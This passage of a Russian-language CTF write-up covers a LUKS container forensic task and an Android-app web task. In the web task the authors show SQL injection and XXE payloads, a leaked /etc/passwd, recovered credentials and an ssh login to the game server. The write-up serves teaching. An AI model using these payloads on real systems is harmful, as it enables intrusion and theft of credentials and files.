\u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 <i>cryptsetup<\/i> \u0443\u0432\u0435\u0440\u044f\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u043e\u0441\u0435\u043c\u044c \u044f\u0447\u0435\u0435\u043a \u043f\u0443\u0441\u0442\u044b. \u041d\u043e \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0432 hex-\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u043d\u0430 \u0442\u043e \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u044f\u0447\u0435\u0439\u043a\u0438, \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445 \u0435\u0441\u0442\u044c \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/f80\/ef5\/0a8\/f80ef50a8d05410eadd5c41362c0305f.png\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <b>0x0000DEAD<\/b> \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0430 \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u0430. \u0417\u0430\u043c\u0435\u043d\u0438\u0432 \u0438\u0445 \u043d\u0430 <b>0x00AC71F3<\/b> \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u043c \u044d\u0442\u0443 \u0437\u0430\u043f\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043a\u043b\u044e\u0447 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u044f\u0447\u0435\u0439\u043a\u0438.<\/p>\n<p>  \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u0432 \u0442\u043e\u043c \u043c\u0435\u0441\u0442\u0435, \u0433\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0434\u0443\u0442 \u043d\u0443\u043b\u0435\u0432\u044b\u0435 \u0431\u0430\u0439\u0442\u044b, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442 \u0441 \u043a\u0430\u043a\u0438\u043c\u0438-\u0442\u043e \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/455\/470\/55d\/45547055d9f545e2aa0c9693cac53dd7.png\"\/><\/p>\n<p>  &quot;<i>Try \\x19 most common passwd in \\x07\\xDD<\/i>&quot;, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a: &quot;<i>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 25 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 2013-\u0433\u043e \u0433\u043e\u0434\u0430<\/i>&quot;. \u041e\u0434\u043d\u0430\u043a\u043e, \u043d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 25 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440.<\/p>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433, \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u0433\u0440\u043e\u0439 \u0432 \u201c<i>\u0443\u0433\u0430\u0434\u0430\u0439\u043a\u0443<\/i>\u201d (\u0441\u0430\u043c\u0430\u044f \u043d\u0435\u043b\u044e\u0431\u0438\u043c\u0430\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 CTF \u043a\u043e\u043c\u0430\u043d\u0434). \u041d\u0430\u043c \u043f\u043e\u0432\u0435\u0437\u043b\u043e, \u0447\u0442\u043e \u0443\u0442\u0438\u043b\u0438\u0442\u0430 <i>cryptsetup<\/i> \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0430 \u0442\u0430\u043a\u0438\u0435 \u0436\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b, \u043a\u0430\u043a \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0432 \u0437\u0430\u0434\u0430\u043d\u0438\u0438. \u0421\u043e\u0437\u0434\u0430\u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e, \u043c\u044b \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0432 \u043f\u043e\u043b\u0435 \u201c<i>key material offset<\/i>\u201d \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <b>0x0708<\/b>, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u0444\u0430\u0439\u043b\u0435 \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043e\u043d\u043e \u0440\u0430\u0432\u043d\u043e <b>0x0608<\/b>: <\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/8d6\/219\/9da\/8d62199da6a645999068ba9cdca48ade.png\"\/><\/p>\n<p>  \u0417\u0430\u043c\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c &quot;<i>shadow<\/i>&quot;.<\/p>\n<p>  \u041d\u043e \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0432\u0441\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435. \u0412 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0441\u044f \u043e\u0431\u0440\u0430\u0437 \u0434\u0438\u0441\u043a\u0430 \u0441 \u0442\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c\u0438. \u0424\u0430\u0439\u043b\u044b-\u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0445 \u0434\u0432\u0443\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u043c. \u0422\u0440\u0435\u0442\u0438\u0439 \u0436\u0435 \u0440\u0430\u0437\u0434\u0435\u043b \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u041a\u0430\u043a \u043d\u0430\u043c \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u043f\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e \u0442\u0430\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0441\u044f NTFS \u0440\u0430\u0437\u0434\u0435\u043b, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b \u0444\u0430\u0439\u043b. \u041e\u0434\u043d\u0430\u043a\u043e \u043c\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c CTF: &quot;<i>strings everywhere<\/i>&quot;. \u0421\u0440\u0435\u0434\u0438 \u043a\u0443\u0447\u0438 \u0441\u0442\u0440\u043e\u043a \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u043e\u0434\u043d\u0443 \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0443\u044e:<\/p>\n<pre><code>rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r<\/code><\/pre>\n<p>  \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f rot13 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u043b\u0430\u0433:<br \/>  <b>NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e<\/b>.<\/p>\n<h3>\u0417\u0430\u0434\u0430\u043d\u0438\u0435 demDROID (400 \u043e\u0447\u043a\u043e\u0432) <\/h3>\n<p>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435: \u0434\u0430\u043d\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Android \u0432 \u0432\u0438\u0434\u0435 .apk-\u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>  \u041d\u0430 \u0445\u0430\u0431\u0440\u0435 \u043d\u0435\u043c\u0430\u043b\u043e \u0441\u0442\u0430\u0442\u0435\u0439, \u043a\u0430\u043a \u0434\u0435\u043a\u043e\u043c\u043f\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u0442\u0430\u043a \u0447\u0442\u043e \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u043c \u043d\u0435 \u0431\u0443\u0434\u0435\u043c. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043c\u044b \u0432\u044b\u044f\u0441\u043d\u044f\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 <i>10.210.6.1<\/i> \u0432 \u0438\u0433\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<pre><code>POST \/ HTTP\/1.0 Content-Type: text\/xml User-Agent: denDROID 1.0 Host: 10.210.6.1  &lt;login&gt;&lt;username&gt;{$username}&lt;\/username&gt;&lt;password&gt;{$password}&lt;\/password&gt;&lt;\/login&gt; <\/code><\/pre>\n<p>  \u0412 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 \u043d\u0430\u0441 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0434\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438:<\/p>\n<p>  1. SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f. \u0421\u0440\u0430\u0432\u043d\u0438\u043c \u0434\u0432\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 (\u0431\u0435\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432):<\/p>\n<p>  \u041e\u0431\u044b\u0447\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:  <\/p>\n<pre><code class=\"xml\">&lt;login&gt;&lt;username&gt;balalaika&lt;\/username&gt;&lt;password&gt;asd&lt;\/password&gt;&lt;\/login&gt;<\/code><\/pre>\n<p>  \u041e\u0442\u0432\u0435\u0442:  <\/p>\n<pre><code class=\"xml\">&lt;response&gt;User balalaika is not found!&lt;\/response&gt;<\/code><\/pre>\n<p>  \u0417\u0430\u043f\u0440\u043e\u0441 \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0432 \u043b\u043e\u0433\u0438\u043d\u0435:  <\/p>\n<pre><code class=\"xml\">&lt;login&gt;&lt;username&gt;q' OR 'x'='x&lt;\/username&gt;&lt;password&gt;asd&lt;\/password&gt;&lt;\/login&gt;<\/code><\/pre>\n<p>  \u041e\u0442\u0432\u0435\u0442:  <\/p>\n<pre><code class=\"xml\">&lt;response&gt;Invalid password for user q' OR 'x'='x!&lt;\/response&gt;<\/code><\/pre>\n<p>  2. \u0410\u0442\u0430\u043a\u0430 XXE (XML eXternal Entity)<\/p>\n<p>  \u0417\u0430\u043f\u0440\u043e\u0441:  <\/p>\n<pre><code class=\"xml\">&lt;!DOCTYPE login [&lt;!ENTITY xxe SYSTEM &quot;\/etc\/passwd&quot;&gt;]&gt;&lt;login&gt;&lt;username&gt;q' OR 1=1 \/*&xxe;&lt;\/username&gt;&lt;password&gt;&xxe;&lt;\/password&gt;&lt;\/login&gt;<\/code><\/pre>\n<p>  \u041e\u0442\u0432\u0435\u0442:  <\/p>\n<pre><code class=\"xml\">&lt;response&gt;Invalid password for user q' OR 1=1 \/*root:x:0:0:root:\/root:\/bin\/bash daemon:x:1:1:daemon:\/usr\/sbin:\/bin\/sh bin:x:2:2:bin:\/bin:\/bin\/sh sys:x:3:3:sys:\/dev:\/bin\/sh # sync:x:4:65534:sync:\/bin:\/bin\/sync # games:x:5:60:games:\/usr\/games:\/bin\/sh man:x:6:12:man:\/var\/cache\/man:\/bin\/sh # lp:x:7:7:lp:\/var\/spool\/lpd:\/bin\/sh # mail:x:8:8:mail:\/var\/mail:\/bin\/sh # news:x:9:9:news:\/var\/spool\/news:\/bin\/sh # uucp:x:10:10:uucp:\/var\/spool\/uucp:\/bin\/sh proxy:x:13:13:proxy:\/bin:\/bin\/sh www-data:x:33:33:www-data:\/var\/www:\/bin\/sh backup:x:34:34:backup:\/var\/backups:\/bin\/sh list:x:38:38:Mailing List Manager:\/var\/list:\/bin\/sh irc:x:39:39:ircd:\/var\/run\/ircd:\/bin\/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/bin\/sh nobody:x:65534:65534:nobody:\/nonexistent:\/bin\/sh libuuid:x:100:101::\/var\/lib\/libuuid:\/bin\/sh sshd:x:101:65534::\/var\/run\/sshd:\/usr\/sbin\/nologin messagebus:x:102:103::\/var\/run\/dbus:\/bin\/false ch6:x:1000:1000::\/home\/ch6:\/bin\/sh !&lt;\/response&gt; <\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0448\u044c\u044e XXE \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u0441 \u0444\u043b\u0430\u0433\u043e\u043c (<i>flag<\/i>, <i>flag.txt<\/i>, <i>\/flag<\/i>, <i>\/flag.txt<\/i> \u0438 \u0442.\u0434.), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <i>\/etc\/nginx\/nginx.conf<\/i>), \u043d\u043e \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e.<\/p>\n<p>  \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044e <i>SUBSTR()<\/i>, \u043c\u044b \u043f\u043e\u0441\u0438\u043c\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u043c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0431\u0430\u0437\u0435. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434 \u043d\u0438\u043c:<\/p>\n<pre><code class=\"xml\">&lt;login&gt;&lt;username&gt;l3wlzHunt3r&lt;\/username&gt;&lt;password&gt;mw4h4h4&lt;\/password&gt;&lt;\/login&gt;<\/code><\/pre>\n<p>  \u041e\u0442\u0432\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430:<\/p>\n<pre><code class=\"xml\">&lt;response&gt;Welcome, l3wlzHunt3r!  Good job! But your flag is in another castle!&lt;\/response&gt; <\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/d3e\/045\/cf6\/d3e045cf64304b0eabac1a58aa7ba9bf.gif\"\/><br \/>  <i>\u041e\u0445 \u0443\u0436 \u044d\u0442\u0438 \u0442\u0440\u043e\u043b\u043b\u0438<\/i><\/p>\n<p>  \u0423\u0432\u044b, \u044d\u0442\u043e \u043d\u0435 \u043e\u0442\u0432\u0435\u0442. \u0418\u043d\u043e\u0433\u0434\u0430 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 CTF \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043b\u043e\u0436\u043d\u043e\u043c\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443. <i>Honeypot<\/i>, \u0442\u0430\u043a \u0441\u043a\u0430\u0437\u0430\u0442\u044c.<\/p>\n<p>  \u0412 \u0431\u0430\u0437\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0431\u044b\u043b\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a XXE. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0444\u0430\u0439\u043b <i>.bash_history<\/i> \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <i>ch6<\/i>, \u043c\u044b \u0443\u0432\u0438\u0434\u0435\u043b\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438:<\/p>\n<pre><code>... tjG86fKwJ2yZ ... sudo vim \/etc\/hosts ping Wopr sudo vim \/etc\/hosts ping Osiris nc Osiris 1135 nc Osiris 11235 curl Osiris 11235 curl Osiris:11235 ... <\/code><\/pre>\n<p>  \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e tjG86fKwJ2yZ \u2014 \u044d\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f ch6. \u0414\u0430\u043b\u0435\u0435 \u0434\u0435\u043b\u043e \u0437\u0430 \u043c\u0430\u043b\u044b\u043c:<\/p>\n<pre><code class=\"bash\">ssh ch6@10.210.6.1 tjG86fKwJ2yZ  $ curl Osiris:11235 NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f <\/code><\/pre>\n<p>  \u0424\u043b\u0430\u0433: <b>NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f<\/b><\/p>\n<p>  \u0425\u043e\u0447\u0435\u0442\u0441\u044f \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u0431\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 \u0445\u043e\u0434 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0430 \u0431\u044b\u043b\u0438 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e ssh \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043f\u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c <i>.bash_history<\/i>, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 <i>authorized_keys<\/i> \u0441\u0432\u043e\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u0440\u0443\u0433\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c.<\/p>\n<p>  \u0415\u0449\u0435 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0445\u043e\u0441\u0442 Osiris (\u0430\u0434\u0440\u0435\u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 XXE \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 <i>\/etc\/hosts<\/i>) \u043d\u0435 \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434. \u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043d\u0435\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 10.210.6.1.<\/p>\n<p>  \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0438 \u0432 \u043e\u0431\u0449\u0435\u043c-\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043d\u0430\u0432\u044b\u043a\u0438 \u0441\u0440\u0430\u0437\u0443 \u0432 \u0434\u0432\u0443\u0445 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u0445 (reverse + web).<\/p>\n<h3>\u0425\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u044f<\/h3>\n<p>  \u041c\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441 \u043f\u0435\u0440\u0432\u044b\u0445 \u043c\u0438\u043d\u0443\u0442 \u0432\u0437\u044f\u043b\u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0443 \u0432 \u0441\u0432\u043e\u0438 \u0440\u0443\u043a\u0438, \u0441\u0434\u0435\u043b\u0430\u0432 <i>first blood<\/i>:<br \/>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/cd4\/279\/f4a\/cd4279f4a3b048d58cd05af8df508ac7.PNG\"\/><br \/>  \u041f\u0435\u0440\u0432\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u043d\u044b\u043c \u043d\u0430\u043c\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c \u0431\u044b\u043b\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"http:\/\/ctfcrew.org\/writeup\/91\">WireTap<\/a>.<\/p>\n<p>  \u041a \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0434\u043d\u044f \u0445\u043e\u0437\u044f\u0435\u0432\u0430 \u0442\u0443\u0440\u043d\u0438\u0440\u0430, 